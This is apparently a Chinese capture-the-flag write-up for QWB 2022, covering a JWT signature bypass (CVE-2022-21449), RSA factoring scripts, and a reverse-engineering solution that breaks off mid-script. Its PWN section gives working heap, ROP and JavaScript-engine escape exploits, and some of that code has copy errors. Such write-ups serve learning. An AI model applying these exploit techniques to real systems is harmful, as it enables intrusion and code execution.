今晚又停电了，白天在内网里上班摸鱼，晚上回来真是啥事也干不了，太热了，更新一下博客，好久没更新了。
打了挺多比赛的，第一次看到一次比赛有这么多的 "PWN",很可惜，并不会做，也隔了好久没碰这玩意了，不过有队友不嫌弃我菜带我。希望工作定居稳定下来能重新静下心来学一下吧，（又浪费了大半年时间QAQ）
MISC
签到
flag{we1come_t0_qwb_s6}
问卷调查
填完问卷
flag{W31c0me_70_QWB2022_Se3_You_N3x7_time}
谍影重重
我不会，但是我炫哥会，我看炫哥写的很详细，转个链接
n03tAck
顺便帮打个广告，n03tAck战队招新，招新方向：Web、Crypto、Pwn
有意向的师傅简历请丢邮箱:admin@n03tack.top
CRYPTO
myJWT
参考：https://blog.soreatu.com/posts/analysis-of-cve-2022-21449-bypass-java-signature-check-bytwo-zeros/
java的ecdsa模块验签的时候未检查r，s是否为0
所以可以直接用(r,s)=0作为签名绕过检查，也就是token的第三部分给AAA=
再一个就是改token第二部分的内容，admin由false改true，exp改大
第一部分照抄即可
Factor
gen1由于满足 abs(p1-p2) < (p1//(2rq1*q2)) 对$\frac{n2}{n1}$连分数展开搜索和n1不互素的数
即可分解。这部分脚本基本参考羊城杯这道rsa
https://forum.butian.net/share/1752
from gmpy2 import *
from Crypto.Util.number import *
n11=801049932940568005269978912396585741498810389425615966036828877784238116
6341772902471940194251116068110057285213688790653360382213610370624070298361
5514887471978971434560354777928455810183380115550976281837647087421578957493
9002212274399950433269775325144015468620263028557804618774240232988157961712
6286779011308147039175130041145472343756297471768345811663065523110755226694
0334782809583152069356329124986983239069864669164720437113336225484623499017
5138047928703289833460734235302093916147489509206061923877623300596194317059
8848243225275326624703482740798007811201049465460635007638526221874046086395
4285828566128829391891218435423668797591951030022193207413553102831417047591
7110204254042336116619335841213418990605590620842511615815443114612333881430
9207690029333708874945586408330053399067066034978098468638639673915436470492
2430955693690976817925958185152021466990456046764047314448163392043848761578
8689262961741053146610554997224861331949716721056553499531186695425439163222
8029178131402665137358414477174188463600966525928449403629321710191434340801
8472809332614382116509789505893537221570894808824859658512747577002196250126
2915274497478428868130455122612016408381607561200802267038869516896665387576
895570245272035575637
n12=635401970340205725139325006504978344512744926958688031423448003992072769
9318082174867095741514922308793745743134576624364232634377923897113796875120
5639111741080756549254871869116618337263315164491713527225977099709619551848
9056319350258673723095417922153182423913759272893696867426193704479752772511
0814577295138436825889514995511324329231479972385975380559029321237922525935
1422532819654148345174731404808082440553074253347391432929434648669168490410
0406972073037050089861816604505650042953778360621934380815999541183067585498
6060538571257759799150773295667225318300897148239799659341903385385641882532
7101636729989001544961114116678004876340325230916051716456911074056158410083
9212138661881615351382946813818078899882595313362934594951895560189003438775
4506753435901478211869535262622249733339624545612753219251516191782044993423
3974963775810012689333099425290292650970561788223961038042083079108890737839
7226817514095468815228186716220057075095711894070032344613244803934541318573
8470293655631599189704040571372708845879057668287503877531300652741479023799
9322478014966360046249228189132070213415385335939358890275042397206867929337
3333869389393970353760507436913233657422185531482023237384247535554666481760
197851108297145147371
def continuedFra(x, y):
cF = []
while y:
cF += [x // y]
x, y = y, x % y
return cF
def Simplify(ctnf):
numerator = 0
denominator = 1
for x in ctnf[::-1]:
numerator, denominator = denominator, x * denominator + numerator
return (numerator, denominator)
def getit(c):
cf=[]
for i in range(1,len(c)):
cf.append(Simplify(c[:i]))
return cf
#求渐进分数
def wienerAttack(e, n):
cf=continuedFra(e,n)
for (p2,p1) in getit(cf):
if p1 == 0:
continue
if n11%p1==0 and p1!=1:
return p1,p2
print('not find!')
q1,q2 = wienerAttack(n11,n12)
print(q1,q2)
pp1 = n11//q1
pp2 = n12//q2
p1 = iroot(pp1,2)[0]
p2 = iroot(pp2,2)[0]
phi1 = (q1-1)*(p1-1)*p1
phi2 = (q2-1)*(p2-1)*p2
e11=189883998056204875460706907352784485213253643244079310612418140651477017
8066775988232362054809850074774981836898118651469424148725970708199461113088
7050449056335925789363339183285445059109967464286792994198794724447909413635
5802588762057085659854832024642635497439576524374164612174341344713229723036
5355148066914830856904433750379114692122900723772114991199979638987571559860
5508834709772464595230688628988596944614271486266282831988966593371354385065
7479958537817867879030841026671325600347902269926456884450597751353701352921
2961573269494683740987283682608189406719573301573662696753903050991812884192
1925697372743218289868476408398134247018945784729333857277574450112911349611
24822612239865
e12=126264741901893002261718960899571226009562304727389381152951075459663639
0255564988827821761126917976430978175522450277907063247981106405519094560616
3782412471116989151999993639480157037886165546572751473387668052899092611291
6502515607813671857300647903082758534745814364573835371618913120939805674186
4848486818076440355778886993462012533397208330925057305502653219173629466948
6351103527521624425525418126656075167531865958173760297077775990290407247274
9995216126117970727181440590716520790449972212277909623056354801149193237842
9654764486855147873135769116637484240454596231092684424572258119768093562747
2492515189653804659940550494117153535471474667119493918145505915918305152622
96556050946881
c11=189795113274269756459369847327827371652173320928056557475504064439602095
0749350681147168895721700379267918842715559158302496660884337119013627437886
8083075515877811693937328204553788450031542610082653080302874606750443090466
4075438292790670995635728491013747147952794141777372778375954098057212907866
0713856932243572958457402359729322044335122755940061835150465478131887121440
5850541820427562291662456382362148698864044961814456827646881685994720468255
3822999120368546570825058102062372945935380923385446419190511459007154564113
6506586735785734786000089462424709871910287578271203093880681633290186111407
8070638796157513248160442185781635520426230183818695937457557248160135402734
4896277231040085849349362452081162321797514482631363095959316912857435806957
9260114136322134632907718468885729050377064139891758642236922174473690511749
9140140651493031622040723274355292502182795605723573863581253354922291984335
8419156320766941729212894893837001748648886649463025880493841306283817665609
7614345873571216248981169301441919071860194515415313027262002511840801744149
0090252674737105557818759190934585829634273698371996797545908125156282869589
3319136659380388704316550630635356720011124209591583392618620523089863741936
71007982914711432579
c12=336587005671304527566745948355290412636261748969581976214239578621816863
3431174335240335338386369416793004972709096967750210310043124779971307413617
0926282273690434064113865235963295045565192046404244802246766459648405517427
0895170499076347333381222768518599018520948098943626229061996126260154604038
1015435465889176195767028664449985785559070709903315747221351417781826315598
0215449381568728407752446933129024905729116380329061970110400702883660983284
7351748020354798788508790258935718399783002069490123663345156902440501507117
2897476955102664615390194316101233511762274436123170378992577740457514871356
4605230927709893991908802928443722184018276980885018482768130761138935339268
3707516141736067793897378911235819049432542758429901945202632117089595899280
3905757062662392528411524905343537601182319181901100433198777441190838112147
0759312275740924064525740909743606182561368677391646612269316897106241804670
3969144004779270391320645495586024342668002497155358623795942692477164489475
9173510031490450872835107289810964498901307350550150755576142538676987024799
2061929991981676897258127350783730917945037463491656708325163020306706566391
0073926990517108921490442919372774170201239734064819301693527366233007925670
043499415100789027665
d11 = invert(e11,phi1)
d12 = invert(e12,phi2)
m1 = pow(c11,d11,n11)
m2 = pow(c12,d12,n12)
print(m1)
print(m2)
gen2联立d1，d2构造方程copper解，d3原题
from gmpy2 import *
from hashlib import *
e = 65537
r = 7
c =
1835257260805590255035038695007377453045385789724873803038000783070113557031
0622004368605208336922266513238134127496822199799761713782366178177809597137
1026124441475655781552605247474398991500122230272184899461240862768148996755
6383766955979515334968643424273820742565307951437608907098079759645715196577
2460109519623572502109592612394316680202287712465721767341302234806130244551
3872961330517608930331949626919420402285455088950091952911062975814700665459
9135266882619734683056101019841752705794450790214396563405884827601728347893
3675052993657822322866778994956205033704582047618324071045349072526540250707
4631126685793425373495672478107156042206902153136413295226740801460472915707
5243023192356630246349187737761704476897899743859664345847512893685099493402
9476030136643053997549253792076260765459166618369864942681056864815996253315
6319300027388542358411203218700752617822503575064368255500888264693965080459
1225830365291221715112728095943574141996172141842860551509616034468879565556
2889755165362006775317188009008288782691705879510655892181975003485714604340
5423784773882257363166823796166767702345579394710989196470537993137772486784
5562023172120278083098006382400307630881154053449231771981158889872713419054
5533822501681653
N =
2097983411550883341582170874742278054551388480369043814048097591006278492722
3184032198574793547128799031345620965662592835646812089688753623549649007812
3448217785939608443507649096688546074968476040552137270080120417769906047001
4512395447190392121800593967914912817877902139534887434883062415160103511790
7086941041823280139857898224498454490657957476653467105602377400916399180474
8763929626213884208260660722705479782932001102089367261720194650874553305179
5208890831709737559139644401753936468907914910576552260240465257481779994220
3546942878022822480011420238520930680328847543977503706701429797320262111895
9024226798935588827359265962780792266516120013602384766460619793738405476219
3625089442250073651277687411913100799854253492926138881853789488546022853793
2968205366328353493018258990598606334850970302749827011141206319497195620272
9807710253369312175636837558252924035002153389909587349043986253518050303628
0713198762073924400856758923534212321589251227212737205647848865306112864615
7504518107374469641565704327812366298016636449458314129799644542947744644269
3717498789391918530672770193730629928408766563592081857706608049076318165712
4797424231493303112384620446663846221532803106966675865659067584511182419144
02257039981388209
e1 =
1670335593842985227235745122417094476977504950620513733398749281177607686315
6522566370449471129448855640222315283015860094481965747343050631873128665551
9728589208977191031849602792050411662024383502548579402516538753112670329781
3662972609055172144084598950973082867834185472544494196765680965347673408328
2247023346151609769065733728788940532159252786052420182437195508241111954874
3528220794151774190322092515459637969925138496615421690273925560390321721643
5569154005698941004883940082208115965609685668332960685004768683759961877546
3188825641943877501330806463975470035902826028926642069232437622046034015381
1660590804281527733243177527178698523018103373311259548716062006020121615186
5954914535349528485708294856385536787609943540190447150780624147482694258180
7927421845044821780322961702049454684359418068230737576832323530966162867854
6003718924902228908888185484412626429441196588985691713767554591991735686919
9649374418207380080462189543319907526031461257775711835436163759463636232514
9137124759469676776791834127965525186851738026725887899087152501229922018293
9441091806206624720194246691865367941280852353547267930167542329486261552854
4510015464559046827023665847639404634817327529924877738786857932756523145130
14646439770319249
e2 =
6907659261965158970669193331382660127952815901337930026160996735274817597266
2567592943146333144902972780621576811778115958019397062270814057821407036352
5293721134672065608492672756024532882273907403469598573226499569925295103389
1218269685449620004124577532256135954606273632336335473351066078048955821510
3581313753430117471361013972291126160134685745917715386613876414886325025010
3483964103462222726486573749779017865309695891237712610406016279069596273514
2688111146494308619121200137455807857083021467011142273141068221277068363101
1038163623234630601007231955235905528750031898751733232446644402069580930596
4048872889357248797951996592281453905745033410875651537443896175396071117330
8040612522855995044633638415467492795299196456596576089630819878577752769093
9982523416579778957846249005801121682470447753074839399698315364445972142571
7273762974227362326591335103858089573043516926291772398088902096906619826284
0841957113147040614253280033025027453461506353777340306263586573458585082167
7880659194795963303700015814615804751909674946908768425855361277478190640780
5181175967808089757208264841460745285641477299116247505102715396979355380388
7199338067349202209918386382543523765008270616858830681663586683041148102106
6926833372846305
a = pow((e2-e1)*invert(e1*e2,N),1,N)
P.<x> = PolynomialRing(Zmod(N))
f = x-a
x = f.small_roots(X = 2^1000,beta = 0.4)
x = x[0]
kmultpr1 = x-a
pr1=gcd(mpz(kmultpr1),mpz(N))
p = iroot(int(pr1),(r-1))[0]
print('p')
print(p)
q = N//(p**r)
print('q')
print(q)
phi = (p**(r-1))*(p-1)*(q-1)
d = invert(e,phi)
print('b')
print(pow(c,d,N))
gen3和gen2思路类似，构造方程算一下参数发现满足copper的条件，用copper解a，后面n和ae-b做
gcd即可
import gmpy2
idx=int(2048*(21/32))
b=17623328397444755087284107444487160871617682792372566887446834913712379373
8512136380711387457751277965898717344727817559302513792954858920674733297639
97583502625804363418069062645997342172778252731889437
n=53977985136954195687865573859958473019979986695719180578459619068293228421
6781781433367450841202917758999300635019369629627621029957135109806205877317
9546713120412494934620482836119407522350361530249201722097632607237283459185
6225840180397362443015014356307851748599607086253268269522859070901945117454
8520135142052216785774589096706631010293690859363524584240662502290912412366
3661145719760508572399156912663772577971995835439405046955173315128134688371
2834461222797370997462541825724301103682624159926537574197785355220464080044
9679679351666009764297016524814036295707311913711955324055690490892097177271
7188508572689821308117145173560732669054746353706904450315121842471790397517
3427690653317793999376904413514338974841663598122644956603903920252130585156
7296884751935162651063209779647359922622084851547605090230221057349511482738
3002212225639083573795459058371101689482950307474603001042023236927325498314
0383438793915687708685239351581798477238414744984112427506160970145399757956
9931391166586163299940486204581696722731952467570857217406030804590055255431
8284031957980035090839222947337095071341564661586429413384933234306715020430
6614824634807487806408965123535528214420966814324934824322071447198801901161
3749340243917652821
e=81793009787530845878128618940473952255160491103769488121098113194302756146
1277372667234589335969190028143248438267004704469737481804351273153340257637
4645405477207239801498428774783768163880078495448747421425078521981578408638
7903365283720192710737120133711419398080170493994348586872994804617536381647
1940461212893978705579776217474509207454741218334919215663871175087208331379
5551439465507724807626674514935170104573715458782366469587138508845980490673
8902457137297829170899102719805571595928073505041571929135300071995101440048
4802022118155847216054301873312422526612737937375191043960445936807865249902
9070936707349862139053913745186413782066470461478961703013591655136140060879
2500673792839137988676487581710045357755653068424445457553512027968331775606
5656465263297568591293528158126814180369668695225953994558860959138580762010
8279333498170028167338690235117003515264281843953984997958878272347778561933
7267924739818557554545228863216696767908131896680843731538977545402908673467
5103356750092247731753044596775395522145474494620855539458811148461070078956
6547507402309549957740815535069057837915204852490930168843605732632328017129
1548528572278953625491467376189061806516232168485004914381424562506534580539
2262224029973613633517963918089873026969069996579964475777447214721027111115
0769048976871249731156387939260749192370361488285775377622944817570292095201
906142567403539151179209316853493906909989301225903409448461436855145
c=11309782233768397376106891339857077716221104370408825373250004561877028033
4319497174908657828372816818344430304314992760410247741225285170975119344962
7288830843143820934074455677246747750864238086791241433800739061590231823531
1655617525142704871546691436897274666193821184626261241404903682155306843014
9530397389927209475908905748728402722287875974303298260579839357610962198145
9741536098189398418800848927968209492263541264240231443009535846589589007374
9370453072589494880225874033209082279781574561624787917003779487305939162568
0745994045522420168248552864215035136318711240256011217929372430302003068882
8296370562964134620782224537650710942777277605276624230104171445546527834298
9913930918001734915660005388233818031947346087757689837322248021573528004621
4925463242092830060830764299787309912687294672319845054775281463150375545716
8184349624561394855012246615209911569615871588430643938832747637149303093535
9318089712337871785218276151870915187866280889035693447793209981821874338467
4756674800089177733447066489275506387382342429495897972218764782517198727316
9426857484819561180129270272549791815198624511125930684406864622931510785378
8682255521187030346701448444343220910626402050233480553609158725223817381663
7270028678636848763
#PR.<x>=PolynomialRing(Zmod(n))
#f=e*x-b
#f=f.monic()
#root=f.small_roots(X=2^idx,beta=0.75,epsilon=0.03)
#print(root)
a=16731588253866128571163910758846497670928988943944436618514118121761227689
1131109434659364570300517106102541696299322030823684659781122195321586266699
90117160986135699541953274434781877420432743573801621
kphi=e*a-b
p=gmpy2.iroot(gmpy2.gcd(n,kphi),6)[0]
q=n//(p^7)
phi=(p-1)*(q-1)*p^6
d=gmpy2.invert(e,phi)
m=pow(c,d,n)
print(bytes.fromhex(hex(int(m))[2:]))
PWN
yakagame
llvm
void a000(int a);
void a001(int a);
void a002(int a);
void a003(int a);
void a004(int a);
void a005(int a);
void a006(int a);
void a007(int a);
void a008(int a);
void a009(int a);
void a010(int a);
void a011(int a);
void a012(int a);
void a013(int a);
void a014(int a);
void a015(int a);
void a016(int a);
void a017(int a);
void a018(int a);
void a019(int a);
void a020(int a);
void a021(int a);
void a022(int a);
void a023(int a);
void a024(int a);
void a025(int a);
void a026(int a);
void a027(int a);
void a028(int a);
void a029(int a);
void a030(int a);
void a031(int a);
void a032(int a);
void a033(int a);
void a034(int a);
void a035(int a);
void a036(int a);
void a037(int a);
void a038(int a);
void a039(int a);
void a040(int a);
void a041(int a);
void a042(int a);
void a043(int a);
void a044(int a);
void a045(int a);
void a046(int a);
void a047(int a);
void a048(int a);
void a049(int a);
void a050(int a);
void a051(int a);
void a052(int a);
void a053(int a);
void a054(int a);
void a055(int a);
void a056(int a);
void a057(int a);
void a058(int a);
void a059(int a);
void a060(int a);
void a061(int a);
void a062(int a);
void a063(int a);
void a064(int a);
void a065(int a);
void a066(int a);
void a067(int a);
void a068(int a);
void a069(int a);
void a070(int a);
void a071(int a);
void a072(int a);
void a073(int a);
void a074(int a);
void a075(int a);
void a076(int a);
void a077(int a);
void a078(int a);
void a079(int a);
void a080(int a);
void a081(int a);
void a082(int a);
void a083(int a);
void a084(int a);
void a085(int a);
void a086(int a);
void a087(int a);
void a088(int a);
void a089(int a);
void a090(int a);
void a091(int a);
void a092(int a);
void a093(int a);
void a094(int a);
void a095(int a);
void a096(int a);
void a097(int a);
void a098(int a);
void a099(int a);
void a100(int a)
void a101(int a);
void a102(int a);
void a103(int a);
void a104(int a);
void a105(int a);
void a106(int a);
void a107(int a);
void a108(int a);
void a109(int a);
void a110(int a);
void a111(int a);
void a112(int a);
void a113(int a);
void a114(int a);
void a115(int a);
void a116(int a);
void a117(int a);
void a118(int a);
void a119(int a);
void a120(int a);
void a121(int a);
void a122(int a);
void a123(int a);
void a124(int a);
void a125(int a);
void a126(int a);
void a127(int a);
void a128(int a);
void a129(int a);
void a130(int a);
void a131(int a);
void a132(int a);
void a133(int a);
void a134(int a);
void a135(int a);
void a136(int a);
void a137(int a);
void a138(int a);
void a139(int a);
void a140(int a);
void a141(int a);
void a142(int a);
void a143(int a);
void a144(int a);
void a145(int a);
void a146(int a);
void a147(int a);
void a148(int a);
void a149(int a);
void a150(int a);
void a151(int a);
void a152(int a);
void a153(int a);
void a154(int a);
void a155(int a);
void a156(int a);
void a157(int a);
void a158(int a);
void a159(int a);
void a160(int a);
void a161(int a);
void a162(int a);
void a163(int a);
void a164(int a);
void a165(int a);
void a166(int a);
void a167(int a);
void a168(int a);
void a169(int a);
void a170(int a);
void a171(int a);
void a172(int a);
void a173(int a);
void a174(int a);
void a175(int a);
void a176(int a);
void a177(int a);
void a178(int a);
void a179(int a);
void a180(int a);
void a181(int a);
void a182(int a);
void a183(int a);
void a184(int a);
void a185(int a);
void a186(int a);
void a187(int a);
void a188(int a);
void a189(int a);
void a190(int a);
void a191(int a);
void a192(int a);
void a193(int a);
void a194(int a);
void a195(int a);
void a196(int a);
void a197(int a);
void a198(int a);
void a199(int a);
void a200(int a);
void a201(int a);
void a202(int a);
void a203(int a);
void a204(int a);
void a205(int a);
void a206(int a);
void a207(int a);
void a208(int a);
void a209(int a);
void a210(int a);
void a211(int a);
void a212(int a);
void a213(int a);
void a214(int a);
void a215(int a);
void a216(int a);
void a217(int a);
void a218(int a);
void a219(int a);
void a220(int a);
void a221(int a);
void a222(int a);
void a223(int a);
void a224(int a);
void a225(int a);
void a226(int a);
void a227(int a);
void a228(int a);
void a229(int a);
void a230(int a);
void a231(int a);
void a232(int a);
void a233(int a);
void a234(int a);
void a235(int a);
void a236(int a);
void a237(int a);
void a238(int a);
void a239(int a);
void a240(int a);
void a241(int a);
void a242(int a);
void a243(int a);
void a244(int a);
void a245(int a);
void a246(int a);
void a247(int a);
void a248(int a);
void a249(int a);
void a250(int a);
void a251(int a);
void a252(int a);
void a253(int a);
void a254(int a);
void a255(int a);
void fight(int a);
void merge(int a,int b);
void destroy(int a);
void upgrade(int a);
void wuxiangdeyidao();
void zhanjinniuza();
void guobapenhuo();
void tiandongwanxiang();
void gamestart(){
a000(0xf0);
a001(0);
a002(0);
a003(0);
a004(0);
a005(0);
a006(0);
a007(0);
a008(0);
a009(0);
a010(0);
a011(0);
a012(0);
a013(0);
a014(0);
a015(0);
a016(0);
a017(0);
a018(0);
a019(0);
a020(0);
a021(0);
a022(0);
a023(0);
a024(0);
a025(0);
a026(0);
a027(0);
a028(0);
a029(0);
a030(0);
a031(0);
a032(0);
a033(0);
a034(0);
a035(0);
a036(0);
a037(0);
a038(0);
a039(0);
a040(0);
a041(0);
a042(0);
a043(0);
a044(0);
a045(0);
a046(0);
a047(0);
a048(0);
a049(0);
a050(0);
a051(0);
a052(0);
a053(0);
a054(0);
a055(0);
a056(0);
a057(0);
a058(0);
a059(0);
a060(0);
a061(0);
a062(0);
a063(0);
a064(0);
a065(0);
a066(0);
a067(0);
a068(0);
a069(0);
a070(0);
a071(0);
a072(0);
a073(0);
a074(0);
a075(0);
a076(0);
a077(0);
a078(0);
a079(0);
a080(0);
a081(0);
a082(0);
a083(0);
a084(0);
a085(0);
a086(0);
a087(0);
a088(0);
a089(0);
a090(0);
a091(0);
a092(0);
a093(0);
a094(0);
a095(0);
a096(0);
a097(0);
a098(0);
a099(0);
a100(0);
a101(0);
a102(0);
a103(0);
a104(0);
a105(0);
a106(0);
a107(0);
a108(0);
a109(0);
a110(0);
a111(0);
a112(0);
a113(0);
a114(0);
a115(0);
a116(0);
a117(0);
a118(0);
a119(0);
a120(0);
a121(0);
a122(0);
a123(0);
a124(0);
a125(0);
a126(0);
a127(0);
a128(0);
a129(0);
a130(0);
a131(0);
a132(0);
a133(0);
a134(0);
a135(0);
a136(0);
a137(0);
a138(0);
a139(0);
a140(0);
a141(0);
a142(0);
a143(0);
a144(0);
a145(0);
a146(0);
a147(0);
a148(0);
a149(0);
a150(0);
a151(0);
a152(0);
a153(0);
a154(0);
a155(0);
a156(0);
a157(0);
a158(0);
a159(0);
a160(0);
a161(0);
a162(0);
a163(0);
a164(0);
a165(0);
a166(0);
a167(0);
a168(0);
a169(0);
a170(0);
a171(0);
a172(0);
a173(0);
a174(0);
a175(0);
a176(0);
a177(0);
a178(0);
a179(0);
a180(0);
a181(0);
a182(0);
a183(0);
a184(0);
a185(0);
a186(0);
a187(0xff);
a188(0);
a189(0);
a190(0);
a191(0);
a192(0);
a193(0);
a194(0);
a195(0);
a196(0);
a197(0);
a198(0);
a199(0);
a200(0);
a201(0);
a202(0);
a203(0);
a204(0);
a205(0);
a206(0);
a207(0);
a208(0);
a209(0);
a210(0);
a211(0);
a212(0);
a213(0);
a214(0);
a215(0);
a216(0);
a217(0);
a218(0);
a219(0);
a220(0);
a221(0);
a222(0);
a223(0);
a224(0);
a225(0);
a226(0);
a227(0);
a228(0);
a229(0);
a230(0);
a231(0);
a232(0xad);
a233(0xfd);
a234(0x6e);
a235(0);
a236(0);
a237(0);
a238(0);
a239(0);
a240(0x30);
a241(0);
a242(0);
a243(0);
a244(0);
a245(0);
a246(0);
a247(0);
a248(0);
a249(0);
a250(0);
a251(0);
a252(0);
a253(0);
a254(0);
a255(0);
a232(0xad);
a233(0xfd);
a234(0x6e);
a235(0);
a236(0);
a237(0);
a238(0);
a239(0);
a187(0xff);
a240(0x30);
fight(0);
}
easychain1
jerry的js逃逸
var tmpArray=new Array(0x100-0x7);var i=0;for(i=0;i<0x100-0x7;i++)
{tmpArray.push(0xdeadbeef)}var
piebase=0x41414141,libcbase=0x41414141,stackbase=0x41414141;var a;var data1;var
data2;var buffer1;var buffer2;a=[0x41414141];buffer1=new ArrayBuffer(0x10);data1=new
DataView(buffer1);buffer2=new ArrayBuffer(0x300);data2=new
DataView(buffer2);a.pop();data1.setUint32(0,0x41414141,true);data2.setUint32(0,0x414141
41,true);a[49]=0x3000;piebase=data1.getUint32(0x58+4,true)*0x100000000+
((data1.getUint32(0x58,true)-0xd1b38)&0xfffff000);print(piebase);data1.setUint32(0x78,
(piebase+0xCDDD8)&0xffffffff,true);libcbase=data2.getUint32(4,true)*0x100000000+data2.g
etUint32(0,true);libcbase=libcbase0x9a6d0;data1.setBigUint64(0x78,libcbase+0x229138,true);stackbase=data2.getUint32(4,tru
e)*0x100000000+
(data2.getUint32(0,true))-0x108;print(stackbase);data1.setBigUint64(0x78,stackbase,true
);data2.setBigUint64(0,libcbase+0x0000000000023b6a,true);data2.setBigUint64(8,libcbase+
0x001b45bd,true);data2.setBigUint64(16,libcbase+0x0000000000023b6a+1,true);data2.setBig
Uint64(24,libcbase+0x52290,true);data1.setBigUint64(0x78,libcbase+0x229138,true);eval('
1234');
houseofcat
调用链如下：
_IO_wfile_underflow
__libio_codecvt_in
DL_CALL_FCT
gs = fp->_codecvt->__cd_in.step
*(gs->__fct)(gs)
对 fake io_file 的设置如下：
_flags设置为~(4 | 0x10)
vtable设置为_IO_wfile_jumps地址（加减偏移），使其能成功调用_IO_wfile_underflow即可
fp->_IO_read_ptr < fp->_IO_read_end，即满足*(fp + 8) < *(fp + 0x10)
_wide_data保持默认即可
_codecvt设置为可控堆地址B，即满足*(fp + 0x98) = B
codecvt->__cd_in.step设置为可控堆地址C，即满足*B = C
codecvt->__cd_in.step->__shlib_handle设置为0，即满足*C = 0
codecvt->__cd_in.step->__fct设置为地址D,地址D用于控制rip，即满足*(C + 0x28) = D（当
调用到D的时候，此时的rdi为C）。
在 malloc.c 中， assert 断言失败，最终都会调用 __malloc_assert ，而其中有一个 fflush
(stderr) 的函数调用，会走到 stderr 的 io_file 的 vtable 中的函数。
在 _int_malloc 中判断到 top chunk 的大小太小，无法再进行分配时，会走到 sysmalloc 中的断言。
因此，我们可以将 top chunk 的 size 改小，并置 prev_inuse 为 0 ，当 top chunk 不足分配时，就会
触发 assert 了。
在上述的思路中，伪造 _IO_2_1_stderr 的 io_file 用一次 large bin attack 向 stderr 写入堆地址
即可实现；改 top chunk 的 size 直接利用 UAF 漏洞即可。
exp:
from pwn import *
context.log_level = 'debug'
p = process("./house_of_cat")
libc = ELF("./libc.so.6")
def create(idx, size, content = b'a'):
p.sendafter("~\n", b"CAT | r00t QWBQWXF \xff\xff\xff\xff$")
p.sendlineafter("choice:\n", b'1')
p.sendlineafter("idx:\n", str(idx))
p.sendlineafter("size:\n", str(size))
p.sendafter("content:\n", content)
def free(idx):
p.sendafter("~\n", b"CAT | r00t QWBQWXF \xff\xff\xff\xff$")
p.sendlineafter("choice:\n", b'2')
p.sendlineafter("idx:\n", str(idx))
def leak(idx):
p.sendafter("~\n", b"CAT | r00t QWBQWXF \xff\xff\xff\xff$")
p.sendlineafter("choice:\n", b'3')
p.sendlineafter("idx:\n", str(idx))
def modify(idx, content):
p.sendafter("~\n", b"CAT | r00t QWBQWXF \xff\xff\xff\xff$")
p.sendlineafter("choice:\n", b'4')
p.sendlineafter("idx:\n", str(idx))
p.sendafter("content:\n", content)
p.sendafter("~\n", b"LOGIN | r00t QWBQWXF admin")
create(0, 0x440); create(1, 0x420); create(2, 0x430); create(3, 0x420)
free(0); free(2); leak(0)
libc.address = u64(p.recvuntil("\x7f")[-6:].ljust(8, b'\x00')) -0x219ce0
p.recv(2); heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0xb10
pop_rdi_ret = libc.address + 0x2a3e5
pop_rsi_ret = libc.address + 0x2be51
pop_rdx_r12_ret = libc.address + 0x11f497
pop_rax_ret = libc.address + 0x45eb0
syscall = libc.address + 0x91396
rop_address = libc.sym['__free_hook']
frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = rop_address
frame.rdx = 0x200
frame.rsp = rop_address + 0x10
frame.rip = libc.sym['read']
magic_gadget = libc.address + 0x1675b0 # mov rdx, qword ptr [rdi + 8];
mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
stderr = libc.address + 0x21a860
IO_wfile_jumps = libc.address + 0x2160c0
_lock = libc.address + 0x21ba60
wide_data = libc.address + 0x2198a0
payload = p64(0)*4
payload = payload.ljust(0x78, b'\x00') + p64(_lock)
payload = payload.ljust(0x88, b'\x00') + p64(heap_base + 0x290 + 0xe0)
payload = payload.ljust(0x90, b'\x00') + p64(wide_data)
payload = payload.ljust(0xc8, b'\x00') + p64(IO_wfile_jumps - 0x18)
payload = payload.ljust(0xd0, b'\x00') + p64(heap_base + 0x290 + 0xf0)
payload += p64(0)*2 + p64(heap_base + 0x290 + 0xf0)
payload = payload.ljust(0xd0 + 0x30, b'\x00') + p64(libc.sym['setcontext']+61)
payload = payload.ljust(0xd0 + 0x38, b'\x00') + p64(magic_gadget)
payload += bytes(frame)[0x30:0x100]
create(4, 0x440, payload); create(5, 0x430); free(4); create(6, 0x460)
create(7, 0x450); create(8, 0x450); free(7); free(8); create(9, 0x460);
free(5)
modify(4, p64(0)*3 + p64(stderr - 0x20)); create(10, 0x460); create(11,0x430); free(10); modify(8, p64(0)*2)
p.sendafter("~\n", b"CAT | r00t QWBQWXF \xff\xff\xff\xff$")
p.sendlineafter("choice:\n", b'1')
p.sendlineafter("idx:\n", str(12))
p.sendlineafter("size:\n", str(0x460))
rop = p64(0) + b'./flag\x00\x00'
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(libc.sym['close'])
rop += p64(pop_rdi_ret) + p64(rop_address+0x8)
rop += p64(pop_rsi_ret) + p64(0)
rop += p64(pop_rax_ret) + p64(2)
rop += p64(syscall)
rop += p64(pop_rdi_ret) + p64(0)
rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
rop += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
rop += p64(pop_rax_ret) + p64(0)
rop += p64(syscall)
rop += p64(pop_rdi_ret) + p64(1)
rop += p64(pop_rsi_ret) + p64(rop_address + 0x100)
rop += p64(pop_rdx_r12_ret) + p64(0x30) + p64(0)
rop += p64(pop_rax_ret) + p64(1)
rop += p64(syscall)
p.send(rop)
p.interactive()
Reverse
GameMaster
C#逆向。用dnspy分析。
在goldFunc中，可依次找到如下逻辑。
据此对gamemessage进行解密，脚本如下。
# https://github.com/Autosaida/recrypto
from recrypto.aes import *
with open(r'xxx\GameMaster\gamemessage','rb') as f:
data = f.read()
data = bytearray(data)
for i in range(len(data)):
data[i] ^= 34
key =
bytes([66,114,97,105,110,115,116,111,114,109,105,110,103,33,33,33])
a = AES(key)
data = a.decrypt(data)
output = open(r'xxx\GameMaster\output.txt','wb')
output.write(data)
对输出文件进行分析，注意到后面是一个pe文件。
提取出来后，dnspy分析。
对三个数进行校验，通过后则可以得到flag。
可以直接通过z3求解，脚本如下。
from z3 import *
check_res =
[101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20
,145,37,24,7,22,191,110,179,227,5,62,9,13,17,65,22,37,5]
x = BitVec('x',64)
y = BitVec('y',64)
z = BitVec('z',64)
s = Solver()
KeyStream = [BitVec('key'+str(i), 64) for i in range(40)]
num = -1
for i in range(320):
x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
